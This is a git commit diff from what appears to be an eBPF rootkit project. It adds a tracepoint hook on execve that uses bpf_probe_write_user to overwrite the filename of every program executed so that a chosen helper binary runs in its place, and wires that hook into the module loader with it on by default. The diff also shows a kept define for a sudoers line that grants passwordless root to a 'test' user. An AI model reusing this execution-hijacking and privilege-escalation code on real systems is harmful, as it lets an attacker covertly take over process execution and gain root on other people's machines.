Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

This commit is contained in:
h3xduck
2022-02-06 14:15:57 -05:00
parent 05baa8fb8a
commit 044c85f3ff
12 changed files with 1766 additions and 1406 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -18,4 +18,8 @@
#define STRING_FS_SUDOERS_ENTRY "test ALL=(ALL:ALL) NOPASSWD:ALL #"
#define STRING_FS_SUDOERS_ENTRY_LEN 34
//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#endif

View File

@@ -12,23 +12,96 @@
#include "defs.h"
#include "../utils/strings.h"
#define NUMBER_ARGUMENTS_PARSED 12
#define ARGUMENT_LENGTH 64
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/format
*/
struct sys_execve_enter_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
char* filename;
const char* const* argv;
const char* filename;
const char* const* envp;
};
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
//unsigned char* envp[PROGRAM_LENGTH] = {0};
unsigned char filename[ARGUMENT_LENGTH] = {0};
if(ctx==NULL || ctx->argv == NULL){
return -1;
}
if(bpf_probe_read_user(&argv, ARGUMENT_LENGTH, ctx->argv)<0){
bpf_printk("Error reading 1\n");
};
/*if(bpf_probe_read_user(&envp, PROGRAM_LENGTH, ctx->envp)<0){
bpf_printk("Error reading 2\n");
};*/
if(bpf_probe_read_user(&filename, ARGUMENT_LENGTH, ctx->filename)<0){
bpf_printk("Error reading 3\n");
};
bpf_printk("ARGV0: %s\n", argv[0]);
bpf_printk("ARGV1: %s\n", argv[1]);
bpf_printk("ARGV2: %s\n", argv[2]);
//bpf_printk("ENVP: %s\n", envp);
bpf_printk("FILENAME: %s\n", filename);
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
//return 0;
}
bpf_printk("Our file!\n");
/*
eBPF can only modify user memory, and thus we may find ourselves into trouble here
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
we receive an userspace buffer, but this is later tweaked via getname().
Thus we may not have user-accessible memory, however from my experience it works _sometimes_.
The idea is to hook all execve calls, but the first execution of our userspace helper will
deactivate this hook.
Also another solution could be to hook do_execve and access the filename struct, which still contians
an userspace buffer inside.
*/
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
#pragma unroll
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
}
bpf_printk("To write: %s\n", to_write);
long ret = bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM));
if(ret<0){
bpf_printk("Error writing to user memory %i\n", ret);
return -1;
}
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
bpf_printk("Error reading 3\n");
};
bpf_printk("NEW FILENAME: %s\n", newfilename);
return 0;
}
SEC("tp/syscalls/sys_enter_execve")
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
return handle_tp_sys_enter_execve(ctx, pid_tgid);
}

View File

@@ -32,31 +32,6 @@ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, in
return 0;
}
/**
* Implementation of strncpy from the Linux Kernel.
* strncpy - Copy a length-limited, C-string
* @dest: Where to copy the string to
* @src: Where to copy the string from
* @count: The maximum number of bytes to copy
*
* The result is not %NUL-terminated if the source exceeds
* @count bytes.
*
* In the case where the length of @src is less than that of
* count, the remainder of @dest will be padded with %NUL.
*
*/
static __always_inline char* str_n_copy(char *dest, const char *src, int count){
char *tmp = dest;
while (count) {
if ((*tmp = *src) != 0)
src++;
tmp++;
count--;
}
return dest;
}

View File

@@ -36,6 +36,7 @@
//BPF modules to load
#include "include/bpf/sched.h"
#include "include/bpf/fs.h"
#include "include/bpf/exec.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
#define ETH_ALEN 6

Binary file not shown.

View File

@@ -1,9 +1,23 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char* argv[]){
printf("Hello world from execve hijacker\n");
for(int ii=0; ii<argc; ii++){
printf("Argument %i is %s\n", ii, argv[ii]);
}
int fd = open("/tmp/testcreated", O_RDWR | O_CREAT | O_TRUNC, 0666);
int ii = 0;
while(*(argv[0]+ii)!='\0'){
write(fd, argv[0]+ii, 1);
ii++;
}
return 0;
}

View File

@@ -0,0 +1,34 @@
#ifndef __MOD_EXEC_H
#define __MOD_EXEC_H
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "common.h"
#include "kit.skel.h"
//Connections
int attach_tp_sys_enter_execve(struct kit_bpf *skel){
skel->links.tp_sys_enter_execve = bpf_program__attach(skel->progs.tp_sys_enter_execve);
return libbpf_get_error(skel->links.tp_sys_enter_execve);
}
int attach_exec_all(struct kit_bpf *skel){
return attach_tp_sys_enter_execve(skel);
}
int detach_tp_sys_enter_execve(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_enter_execve);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_exec_all(struct kit_bpf *skel){
return detach_tp_sys_enter_execve(skel);
}
#endif

View File

@@ -2,6 +2,7 @@
#include "xdp.h"
#include "sched.h"
#include "fs.h"
#include "exec.h"
module_config_t module_config = {
.xdp_module = {
@@ -17,6 +18,10 @@ module_config_t module_config = {
.tp_sys_enter_read = OFF,
.tp_sys_exit_read = OFF,
.tp_sys_enter_openat = OFF
},
.exec_module = {
.all = ON,
.tp_sys_enter_execve = OFF
}
};
@@ -28,7 +33,8 @@ module_config_attr_t module_config_attr = {
.flags = -1
},
.sched_module = {},
.fs_module = {}
.fs_module = {},
.exec_module = {}
};
@@ -64,6 +70,14 @@ int setup_all_modules(){
}
if(ret!=0) return -1;
//EXEC
if(config.exec_module.all == ON){
ret = attach_exec_all(attr.skel);
}else{
if(config.exec_module.tp_sys_enter_execve == ON) ret = attach_tp_sys_enter_execve(attr.skel);
}
if(ret!=0) return -1;
return 0;
}

View File

@@ -30,6 +30,11 @@ typedef struct module_config_t{
char tp_sys_enter_openat;
}fs_module;
struct exec_module {
char all;
char tp_sys_enter_execve;
}exec_module;
} module_config_t;
//Configuration struct. Used by the module manager to
@@ -49,6 +54,10 @@ typedef struct module_config_attr_t{
void* __empty;
}fs_module;
struct exec_module_attr {
void* __empty;
}exec_module;
} module_config_attr_t;
//An unique module configutation struct and attr